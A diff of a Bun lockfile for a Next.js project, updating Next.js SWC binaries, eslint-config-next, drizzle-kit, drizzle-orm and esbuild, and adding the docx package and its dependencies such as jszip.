"@next/eslint-plugin-next": ["@next/eslint-plugin-next@16.3.3", "", { "dependencies": { "@eslint-community/eslint-utils": "4.9.1", "fast-glob": "3.3.1" } }, "sha512-pbEh30vvjKpDoTAmo1v3q2uM4JUi8QaEBpbmjWvGfoec2jLghy/WNtvzAT0bk+Ik9oz6etjt4YjXEk4BQnicCw=="],
|
||||
|
||||
"@next/swc-darwin-arm64": ["@next/swc-darwin-arm64@16.3.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-ABMIu2zQ7cnNIHm5ivKGwZwUrm0pAai3yiJ/gK/rF1c1VP9UOnj7XECbMKFdVKp9I9eMYq9NoDs1WXOoowxzJw=="],
|
||||
"@next/swc-darwin-arm64": ["@next/swc-darwin-arm64@16.3.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-8Hiv32QJPwdV6KYJ8meR9SBA061tQqnIKTJDocvOXlEQqib0xMFpzArosuffFUUc0sslbh7QQ8a3Yey1QV8EIw=="],
|
||||
|
||||
"@next/swc-darwin-x64": ["@next/swc-darwin-x64@16.3.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-gNG21e/UnrroeScbY/QndUEdl0mF1FRibW7BBeYUz/5ABCepjqDdEdgr592vpzMtCn/m7FTjYq3TN4TpyDnutw=="],
|
||||
"@next/swc-darwin-x64": ["@next/swc-darwin-x64@16.3.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-A1lgKgwVchRYmSe467zdwhxT9040dd8lH+o65sL5Jet8fjB4kegw/rDyPIpYVRb6jAqwXFOJpjIXJLxQKLiE3A=="],
|
||||
|
||||
"@next/swc-linux-arm64-gnu": ["@next/swc-linux-arm64-gnu@16.3.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-6B6Lw016iwNUQuaJoraMMTLh6TwHzFUtxipSScD1F3YyymcrRWkobodRS2ftIOkF5vrs4zNlyUrTC5YZQ9Lz5w=="],
|
||||
"@next/swc-linux-arm64-gnu": ["@next/swc-linux-arm64-gnu@16.3.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-bf0FIssMFueU2dm7vQEWWxk0c8UjKTdW0yzuh0sQsD8pf1+KCLDdaqhYZNMYGmXwEOiHAUzgBKudovIlcvvBjg=="],
|
||||
|
||||
"@next/swc-linux-arm64-musl": ["@next/swc-linux-arm64-musl@16.3.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-JUiPXZKK9wOhjf4MgDiH29GZLxfqOesbLtHq2pDxwH/WwscTRV2ToymnOTh1egzaZf0ueUf8T2+CeYTGHjW0Iw=="],
|
||||
"@next/swc-linux-arm64-musl": ["@next/swc-linux-arm64-musl@16.3.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-W7viwCk9JY/cAkdz/A273rd5bb3RgT/IHwR7Upv90tunjBWNtAAhGhoecHh+teRNRSinuAFmE+l7fwZ4YKkrXg=="],
|
||||
|
||||
"@next/swc-linux-x64-gnu": ["@next/swc-linux-x64-gnu@16.3.1", "", { "os": "linux", "cpu": "x64" }, "sha512-Uog9jsrmIRIL/lfvIp9htmskSNC7JcQsMVucXL2V2YY1y/D9IUN3LPEafqy0zRJ2cIU1SQ0V6F6TlffQ+pLAGg=="],
|
||||
"@next/swc-linux-x64-gnu": ["@next/swc-linux-x64-gnu@16.3.3", "", { "os": "linux", "cpu": "x64" }, "sha512-0W46zw1N3ODpI6n0GeivHvvob1pooozgZVqy65k0mh4/7vr+FbY9+WpHzNVXjHipJf/A3FDheBG19H1s5A25rA=="],
|
||||
|
||||
"@next/swc-linux-x64-musl": ["@next/swc-linux-x64-musl@16.3.1", "", { "os": "linux", "cpu": "x64" }, "sha512-6yy3FT13KgUFOj5H8bl8w/6nKiJwHIvbtwh1V+1acsu+7y4tJjnemSa6mhsh53BeoVrlozE+fMgZhXH46WmjMA=="],
|
||||
"@next/swc-linux-x64-musl": ["@next/swc-linux-x64-musl@16.3.3", "", { "os": "linux", "cpu": "x64" }, "sha512-H4mBso8ZTMBPtdT0PN0pBx2ayTvQuTuvS6qT13d77yVFJXAPCxkyIhLTmdMaGTJs0krQYI/qpzdHijCeihXhbg=="],
|
||||
|
||||
"@next/swc-win32-arm64-msvc": ["@next/swc-win32-arm64-msvc@16.3.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-iOoN1QecUoGNZik536U/vtK43YwgyrCsGIkth52yIkl612n+0C9MjSnJbQAikISpb+WYRooBVhaDlUW7iZoKog=="],
|
||||
"@next/swc-win32-arm64-msvc": ["@next/swc-win32-arm64-msvc@16.3.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-cTMUJpcEGmeywofCUfhR+rSsoE33+rVPnPEYNTNdLNlsOeEg/vktOsKUSTb28vUGqD2jkm4Zaskcwn7OCI6FQg=="],
|
||||
|
||||
"@next/swc-win32-x64-msvc": ["@next/swc-win32-x64-msvc@16.3.1", "", { "os": "win32", "cpu": "x64" }, "sha512-d/k+PpAriUPaeMJJOG7HUSdqfEX46FEPWU1p3/nm2ACmXhj9hFEWdFODUBIpkuijXYkfL90qZzTqVPRp4BW/hw=="],
|
||||
"@next/swc-win32-x64-msvc": ["@next/swc-win32-x64-msvc@16.3.3", "", { "os": "win32", "cpu": "x64" }, "sha512-2VR4cTBzHXaBjnGsuH6GyJjENzQOmHeAh11uY1iUhjm3j5dEUrVJuUj+VL78jaGi/Dik8xS76zEj18BsFhlVZQ=="],
|
||||
|
||||
"@nodelib/fs.scandir": ["@nodelib/fs.scandir@2.1.5", "", { "dependencies": { "@nodelib/fs.stat": "2.0.5", "run-parallel": "^1.1.9" } }, "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g=="],
|
||||
|
||||
@@ -461,8 +470,6 @@
|
||||
|
||||
"@nolyfill/is-core-module": ["@nolyfill/is-core-module@1.0.39", "", {}, "sha512-nn5ozdjYQpUCZlWGuxcJY/KpxkWQs4DcbMCmKojjyrYDEAGy4Ce19NN4v5MduafTwJlbKc99UA8YhSVqq9yPZA=="],
|
||||
|
||||
"@petamoriken/float16": ["@petamoriken/float16@3.9.3", "", {}, "sha512-8awtpHXCx/bNpFt4mt2xdkgtgVvKqty8VbjHI/WWWQuEw+KLzFot3f4+LkQY9YmOtq7A5GdOnqoIC8Pdygjk2g=="],
|
||||
|
||||
"@rtsao/scc": ["@rtsao/scc@1.1.0", "", {}, "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g=="],
|
||||
|
||||
"@swc/helpers": ["@swc/helpers@0.5.23", "", { "dependencies": { "tslib": "^2.8.0" } }, "sha512-5lSsMOTXURePglDfvuAQUqkGek9Hg2kksOYay2m0+XR++b2NWYL/4sWyuvVBIs8oKnJaxkdi9whaL/sqN13afw=="],
|
||||
@@ -717,6 +724,8 @@
|
||||
|
||||
"cookie-signature": ["cookie-signature@1.2.2", "", {}, "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg=="],
|
||||
|
||||
"core-util-is": ["core-util-is@1.0.3", "", {}, "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="],
|
||||
|
||||
"cors": ["cors@2.8.6", "", { "dependencies": { "object-assign": "^4", "vary": "^1" } }, "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw=="],
|
||||
|
||||
"cron-parser": ["cron-parser@5.10.0", "", { "dependencies": { "luxon": "^3.7.2" } }, "sha512-izNAxJyRWUP8ljBoDSub5WyrVOUlT4SLGShswE7eoRBpp6QUsSycYxLBMJlbshgPBMcPT/nrfgjNY2918ayv2A=="],
|
||||
@@ -757,9 +766,11 @@
|
||||
|
||||
"doctrine": ["doctrine@2.1.0", "", { "dependencies": { "esutils": "^2.0.2" } }, "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw=="],
|
||||
|
||||
"drizzle-kit": ["drizzle-kit@0.30.6", "", { "dependencies": { "@drizzle-team/brocli": "^0.10.2", "@esbuild-kit/esm-loader": "^2.5.5", "esbuild": "^0.19.7", "esbuild-register": "^3.5.0", "gel": "^2.0.0" }, "bin": { "drizzle-kit": "bin.cjs" } }, "sha512-U4wWit0fyZuGuP7iNmRleQyK2V8wCuv57vf5l3MnG4z4fzNTjY/U13M8owyQ5RavqvqxBifWORaR3wIUzlN64g=="],
|
||||
"docx": ["docx@9.7.1", "", { "dependencies": { "@types/node": "^25.2.3", "hash.js": "^1.1.7", "jszip": "^3.10.1", "nanoid": "^5.1.3", "xml": "^1.0.1", "xml-js": "^1.6.8" } }, "sha512-ilXFf9Moz47ABjFpDiA5s1w9lpb4EFSp7+5iiJSbfyYDM+bpZdAgLlSr7fW4aXhVe/E+F6QCv0EvRVFEd5CsWg=="],
|
||||
|
||||
"drizzle-orm": ["drizzle-orm@0.38.4", "", { "peerDependencies": { "@aws-sdk/client-rds-data": ">=3", "@cloudflare/workers-types": ">=4", "@electric-sql/pglite": ">=0.2.0", "@libsql/client": ">=0.10.0", "@libsql/client-wasm": ">=0.10.0", "@neondatabase/serverless": ">=0.10.0", "@op-engineering/op-sqlite": ">=2", "@opentelemetry/api": "^1.4.1", "@planetscale/database": ">=1", "@prisma/client": "*", "@tidbcloud/serverless": "*", "@types/better-sqlite3": "*", "@types/pg": "*", "@types/react": "Line truncated
|
||||
"drizzle-kit": ["drizzle-kit@0.31.10", "", { "dependencies": { "@drizzle-team/brocli": "^0.10.2", "@esbuild-kit/esm-loader": "^2.5.5", "esbuild": "^0.25.4", "tsx": "^4.21.0" }, "bin": { "drizzle-kit": "bin.cjs" } }, "sha512-7OZcmQUrdGI+DUNNsKBn1aW8qSoKuTH7d0mYgSP8bAzdFzKoovxEFnoGQp2dVs82EOJeYycqRtciopszwUf8bw=="],
|
||||
|
||||
"drizzle-orm": ["drizzle-orm@0.45.2", "", { "peerDependencies": { "@aws-sdk/client-rds-data": ">=3", "@cloudflare/workers-types": ">=4", "@electric-sql/pglite": ">=0.2.0", "@libsql/client": ">=0.10.0", "@libsql/client-wasm": ">=0.10.0", "@neondatabase/serverless": ">=0.10.0", "@op-engineering/op-sqlite": ">=2", "@opentelemetry/api": "^1.4.1", "@planetscale/database": ">=1.13", "@prisma/client": "*", "@tidbcloud/serverless": "*", "@types/better-sqlite3": "*", "@types/pg": "*", "@types/sql.jsLine truncated
|
||||
|
||||
"dunder-proto": ["dunder-proto@1.0.1", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.1", "es-errors": "^1.3.0", "gopd": "^1.2.0" } }, "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A=="],
|
||||
|
||||
@@ -773,8 +784,6 @@
|
||||
|
||||
"enhanced-resolve": ["enhanced-resolve@5.24.5", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.3" } }, "sha512-L1l8TNvomm6UVW5B253AGxQagSQr+vGwhMlrrfRS2qmhx46AMpMVJKQYLvWYbysTMY8VoicOvzHzoHMbyzB+4A=="],
|
||||
|
||||
"env-paths": ["env-paths@3.0.0", "", {}, "sha512-dtJUTepzMW3Lm/NPxRf3wP4642UWhjL2sQxc+ym2YMj1m/H2zDNQOlezafzkHwn6sMstjHTwG6iQQsctDW/b1A=="],
|
||||
|
||||
"es-abstract": ["es-abstract@1.24.2", "", { "dependencies": { "array-buffer-byte-length": "^1.0.2", "arraybuffer.prototype.slice": "^1.0.4", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.8", "call-bound": "^1.0.4", "data-view-buffer": "^1.0.2", "data-view-byte-length": "^1.0.2", "data-view-byte-offset": "^1.0.1", "es-define-property": "^1.0.1", "es-errors": "^1.3.0", "es-object-atoms": "^1.1.1", "es-set-tostringtag": "^2.1.0", "es-to-primitive": "^1.3.0", "function.prototype.name":Line truncated
|
||||
|
||||
"es-abstract-get": ["es-abstract-get@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0", "es-object-atoms": "^1.1.2", "is-callable": "^1.2.7", "object-inspect": "^1.13.4" } }, "sha512-6PMWXpdhshVvFp+FoWYs1EvG1Nj0tvk0dZM+XcK0xMEM1czRVcP6ohqPWHy6qPagSpC8j4+p89WXlT+xXJs/fg=="],
|
||||
@@ -793,9 +802,7 @@
|
||||
|
||||
"es-to-primitive": ["es-to-primitive@1.3.4", "", { "dependencies": { "es-abstract-get": "^1.0.0", "es-define-property": "^1.0.1", "es-errors": "^1.3.0", "is-callable": "^1.2.7", "is-date-object": "^1.1.0", "is-symbol": "^1.1.1" } }, "sha512-yPDz7wqpg1/mmHLmS3tcfTfbw5f1eryXvyghYBffGdERwe+mV7ZcWzTR8LR17Kvqt3qfPurjlonmnq3MKXIOXw=="],
|
||||
|
||||
"esbuild": ["esbuild@0.19.12", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.19.12", "@esbuild/android-arm": "0.19.12", "@esbuild/android-arm64": "0.19.12", "@esbuild/android-x64": "0.19.12", "@esbuild/darwin-arm64": "0.19.12", "@esbuild/darwin-x64": "0.19.12", "@esbuild/freebsd-arm64": "0.19.12", "@esbuild/freebsd-x64": "0.19.12", "@esbuild/linux-arm": "0.19.12", "@esbuild/linux-arm64": "0.19.12", "@esbuild/linux-ia32": "0.19.12", "@esbuild/linux-loong64": "0.19.12", "@esbuild/lLine truncated
|
||||
|
||||
"esbuild-register": ["esbuild-register@3.6.0", "", { "dependencies": { "debug": "^4.3.4" }, "peerDependencies": { "esbuild": ">=0.12 <1" } }, "sha512-H2/S7Pm8a9CL1uhp9OvjwrBh5Pvx0H8qVOxNu8Wed9Y7qv56MPtq+GGM8RJpq6glYJn9Wspr8uw7l55uyinNeg=="],
|
||||
"esbuild": ["esbuild@0.25.12", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.12", "@esbuild/android-arm": "0.25.12", "@esbuild/android-arm64": "0.25.12", "@esbuild/android-x64": "0.25.12", "@esbuild/darwin-arm64": "0.25.12", "@esbuild/darwin-x64": "0.25.12", "@esbuild/freebsd-arm64": "0.25.12", "@esbuild/freebsd-x64": "0.25.12", "@esbuild/linux-arm": "0.25.12", "@esbuild/linux-arm64": "0.25.12", "@esbuild/linux-ia32": "0.25.12", "@esbuild/linux-loong64": "0.25.12", "@esbuild/lLine truncated
|
||||
|
||||
"escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="],
|
||||
|
||||
@@ -805,7 +812,7 @@
|
||||
|
||||
"eslint": ["eslint@9.39.5", "", { "dependencies": { "@eslint-community/eslint-utils": "^4.8.0", "@eslint-community/regexpp": "^4.12.1", "@eslint/config-array": "^0.21.2", "@eslint/config-helpers": "^0.4.2", "@eslint/core": "^0.17.0", "@eslint/eslintrc": "^3.3.6", "@eslint/js": "9.39.5", "@eslint/plugin-kit": "^0.4.1", "@humanfs/node": "^0.16.6", "@humanwhocodes/module-importer": "^1.0.1", "@humanwhocodes/retry": "^0.4.2", "@types/estree": "^1.0.6", "ajv": "^6.14.0", "chalk": "^4.0.0", "crosLine truncated
|
||||
|
||||
"eslint-config-next": ["eslint-config-next@16.3.1", "", { "dependencies": { "@next/eslint-plugin-next": "16.3.1", "eslint-import-resolver-node": "^0.3.6", "eslint-import-resolver-typescript": "^3.5.2", "eslint-plugin-import": "^2.32.0", "eslint-plugin-jsx-a11y": "^6.10.0", "eslint-plugin-react": "^7.37.0", "eslint-plugin-react-hooks": "^7.0.0", "globals": "16.4.0", "typescript-eslint": "^8.46.0" }, "peerDependencies": { "eslint": ">=9.0.0", "typescript": ">=3.3.1" }, "optionalPeers": ["typeLine truncated
|
||||
"eslint-config-next": ["eslint-config-next@16.3.3", "", { "dependencies": { "@next/eslint-plugin-next": "16.3.3", "eslint-import-resolver-node": "^0.3.6", "eslint-import-resolver-typescript": "^3.5.2", "eslint-plugin-import": "^2.32.0", "eslint-plugin-jsx-a11y": "^6.10.0", "eslint-plugin-react": "^7.37.0", "eslint-plugin-react-hooks": "^7.0.0", "globals": "16.4.0", "typescript-eslint": "^8.46.0" }, "peerDependencies": { "eslint": ">=9.0.0", "typescript": ">=3.3.1" }, "optionalPeers": ["typeLine truncated
|
||||
|
||||
"eslint-import-resolver-node": ["eslint-import-resolver-node@0.3.10", "", { "dependencies": { "debug": "^3.2.7", "is-core-module": "^2.16.1", "resolve": "^2.0.0-next.6" } }, "sha512-tRrKqFyCaKict5hOd244sL6EQFNycnMQnBe+j8uqGNXYzsImGbGUU4ibtoaBmv5FLwJwcFJNeg1GeVjQfbMrDQ=="],
|
||||
|
||||
@@ -885,14 +892,14 @@
|
||||
|
||||
"fresh": ["fresh@2.0.0", "", {}, "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A=="],
|
||||
|
||||
"fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
|
||||
|
||||
"function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="],
|
||||
|
||||
"function.prototype.name": ["function.prototype.name@1.2.0", "", { "dependencies": { "call-bind": "^1.0.9", "call-bound": "^1.0.4", "es-define-property": "^1.0.1", "es-errors": "^1.3.0", "functions-have-names": "^1.2.3", "has-property-descriptors": "^1.0.2", "hasown": "^2.0.4", "is-callable": "^1.2.7", "is-document.all": "^1.0.0" } }, "sha512-jObKIik1P2QjPHP5nz5BaOtUlfgS0fWo8IUByNXkM+o+02sJOi94em77GwJKQSJ3gfPHdgzLNrHc1uokV4P/ew=="],
|
||||
|
||||
"functions-have-names": ["functions-have-names@1.2.3", "", {}, "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ=="],
|
||||
|
||||
"gel": ["gel@2.2.0", "", { "dependencies": { "@petamoriken/float16": "^3.8.7", "debug": "^4.3.4", "env-paths": "^3.0.0", "semver": "^7.6.2", "shell-quote": "^1.8.1", "which": "^4.0.0" }, "bin": { "gel": "dist/cli.mjs" } }, "sha512-q0ma7z2swmoamHQusey8ayo8+ilVdzDt4WTxSPzq/yRqvucWRfymRVMvNgmSC0XK7eNjjEZEcplxpgaNojKdmQ=="],
|
||||
|
||||
"generator-function": ["generator-function@2.0.1", "", {}, "sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g=="],
|
||||
|
||||
"gensync": ["gensync@1.0.0-beta.2", "", {}, "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg=="],
|
||||
@@ -931,20 +938,28 @@
|
||||
|
||||
"has-tostringtag": ["has-tostringtag@1.0.2", "", { "dependencies": { "has-symbols": "^1.0.3" } }, "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw=="],
|
||||
|
||||
"hash.js": ["hash.js@1.1.7", "", { "dependencies": { "inherits": "^2.0.3", "minimalistic-assert": "^1.0.1" } }, "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA=="],
|
||||
|
||||
"hasown": ["hasown@2.0.4", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A=="],
|
||||
|
||||
"hast-util-heading-rank": ["hast-util-heading-rank@3.0.0", "", { "dependencies": { "@types/hast": "^3.0.0" } }, "sha512-EJKb8oMUXVHcWZTDepnr+WNbfnXKFNf9duMesmr4S8SXTJBJ9M4Yok08pu9vxdJwdlGRhVumk9mEhkEvKGifwA=="],
|
||||
|
||||
"hast-util-is-element": ["hast-util-is-element@3.0.0", "", { "dependencies": { "@types/hast": "^3.0.0" } }, "sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g=="],
|
||||
|
||||
"hast-util-to-jsx-runtime": ["hast-util-to-jsx-runtime@2.3.6", "", { "dependencies": { "@types/estree": "^1.0.0", "@types/hast": "^3.0.0", "@types/unist": "^3.0.0", "comma-separated-tokens": "^2.0.0", "devlop": "^1.0.0", "estree-util-is-identifier-name": "^3.0.0", "hast-util-whitespace": "^3.0.0", "mdast-util-mdx-expression": "^2.0.0", "mdast-util-mdx-jsx": "^3.0.0", "mdast-util-mdxjs-esm": "^2.0.0", "property-information": "^7.0.0", "space-separated-tokens": "^2.0.0", "style-to-js": "^1.0.Line truncated
|
||||
|
||||
"hast-util-to-string": ["hast-util-to-string@3.0.1", "", { "dependencies": { "@types/hast": "^3.0.0" } }, "sha512-XelQVTDWvqcl3axRfI0xSeoVKzyIFPwsAGSLIsKdJKQMXDYJS4WYrBNF/8J7RdhIcFI2BOHgAifggsvsxp/3+A=="],
|
||||
|
||||
"hast-util-to-text": ["hast-util-to-text@4.0.2", "", { "dependencies": { "@types/hast": "^3.0.0", "@types/unist": "^3.0.0", "hast-util-is-element": "^3.0.0", "unist-util-find-after": "^5.0.0" } }, "sha512-KK6y/BN8lbaq654j7JgBydev7wuNMcID54lkRav1P0CaE1e47P72AWWPiGKXTJU271ooYzcvTAn/Zt0REnvc7A=="],
|
||||
|
||||
"hast-util-whitespace": ["hast-util-whitespace@3.0.0", "", { "dependencies": { "@types/hast": "^3.0.0" } }, "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw=="],
|
||||
|
||||
"hermes-estree": ["hermes-estree@0.25.1", "", {}, "sha512-0wUoCcLp+5Ev5pDW2OriHC2MJCbwLwuRx+gAqMTOkGKJJiBCLjtrvy4PWUGn6MIVefecRpzoOZ/UV6iGdOr+Cw=="],
|
||||
|
||||
"hermes-parser": ["hermes-parser@0.25.1", "", { "dependencies": { "hermes-estree": "0.25.1" } }, "sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA=="],
|
||||
|
||||
"highlight.js": ["highlight.js@11.11.2", "", {}, "sha512-oaXMACAU0kzOMXBjWpNcX+vlwSBCIAiZ9BHa7gA15NOTtT2L/l8OSZDuqS2XppOhZBPJ7hm4o8ep2kyuip2uEQ=="],
|
||||
|
||||
"hono": ["hono@4.13.3", "", {}, "sha512-r8AO2mYHoLxSHkgafNeC/BXyb2vWRxD3jem4Ts+ptav8oTG5FIRifAjuJEmZI4bSvvc2ns0GxmIYiZnHqN3mMw=="],
|
||||
|
||||
"html-url-attributes": ["html-url-attributes@3.0.1", "", {}, "sha512-ol6UPyBWqsrO6EJySPz2O7ZSr856WDrEzM5zMqp+FJJLGMW35cLYmmZnl0vztAZxRUoNZJFTCohfjuIJ8I4QBQ=="],
|
||||
@@ -955,6 +970,8 @@
|
||||
|
||||
"ignore": ["ignore@5.3.2", "", {}, "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g=="],
|
||||
|
||||
"immediate": ["immediate@3.0.6", "", {}, "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ=="],
|
||||
|
||||
"import-fresh": ["import-fresh@3.3.1", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ=="],
|
||||
|
||||
"imurmurhash": ["imurmurhash@0.1.4", "", {}, "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA=="],
|
||||
@@ -1039,9 +1056,9 @@
|
||||
|
||||
"is-weakset": ["is-weakset@2.0.4", "", { "dependencies": { "call-bound": "^1.0.3", "get-intrinsic": "^1.2.6" } }, "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ=="],
|
||||
|
||||
"isarray": ["isarray@2.0.5", "", {}, "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="],
|
||||
"isarray": ["isarray@1.0.0", "", {}, "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="],
|
||||
|
||||
"isexe": ["isexe@3.1.5", "", {}, "sha512-6B3tLtFqtQS4ekarvLVMZ+X+VlvQekbe4taUkf/rhVO3d/h0M2rfARm/pXLcPEsjjMsFgrFgSrhQIxcSVrBz8w=="],
|
||||
"isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="],
|
||||
|
||||
"iterator.prototype": ["iterator.prototype@1.1.5", "", { "dependencies": { "define-data-property": "^1.1.4", "es-object-atoms": "^1.0.0", "get-intrinsic": "^1.2.6", "get-proto": "^1.0.0", "has-symbols": "^1.1.0", "set-function-name": "^2.0.2" } }, "sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g=="],
|
||||
|
||||
@@ -1067,6 +1084,8 @@
|
||||
|
||||
"jsx-ast-utils": ["jsx-ast-utils@3.3.5", "", { "dependencies": { "array-includes": "^3.1.6", "array.prototype.flat": "^1.3.1", "object.assign": "^4.1.4", "object.values": "^1.1.6" } }, "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ=="],
|
||||
|
||||
"jszip": ["jszip@3.10.1", "", { "dependencies": { "lie": "~3.3.0", "pako": "~1.0.2", "readable-stream": "~2.3.6", "setimmediate": "^1.0.5" } }, "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g=="],
|
||||
|
||||
"keyv": ["keyv@4.5.4", "", { "dependencies": { "json-buffer": "3.0.1" } }, "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw=="],
|
||||
|
||||
"kind-of": ["kind-of@6.0.3", "", {}, "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="],
|
||||
@@ -1077,6 +1096,8 @@
|
||||
|
||||
"levn": ["levn@0.4.1", "", { "dependencies": { "prelude-ls": "^1.2.1", "type-check": "~0.4.0" } }, "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ=="],
|
||||
|
||||
"lie": ["lie@3.3.0", "", { "dependencies": { "immediate": "~3.0.5" } }, "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ=="],
|
||||
|
||||
